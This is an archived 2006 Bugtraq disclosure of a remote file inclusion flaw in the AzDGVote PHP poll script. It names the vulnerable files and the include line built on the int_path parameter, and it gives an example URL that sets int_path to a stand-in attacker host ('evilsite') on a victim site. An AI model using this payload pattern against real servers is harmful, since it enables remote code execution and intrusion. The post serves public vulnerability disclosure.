bugtraq - AzDGVote File inclusion

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060411220320.2255.qmail@securityfocus.com>
Date: 11 Apr 2006 22:03:20 -0000
From: selfar2002@...mail.com
To: bugtraq@...urityfocus.com
Subject: AzDGVote File inclusion


AzDGVote File inclusion
---------------------------------
Site:http://www.azdg.com/
Demo:http://www.azdg.com/scripts/AzDGVote/vote.php?id=1

---------------------------------------
File inclusion


include $int_path."/AzDG.template.inc.php";


int_path parameter File inclusion

Aut File

vote.php,view.php,admin.php
and /admin/index.php


---------------------------------------
example


http://victim.com/poll/view.php?int_path=http://evilsite


-----------------------------------------
Discovered By SnIpEr_SA
E-mail:selfar2002@...mail.com,SnIpEr_SA@...mail.org
Site: www.3asfh.com www.lezr.com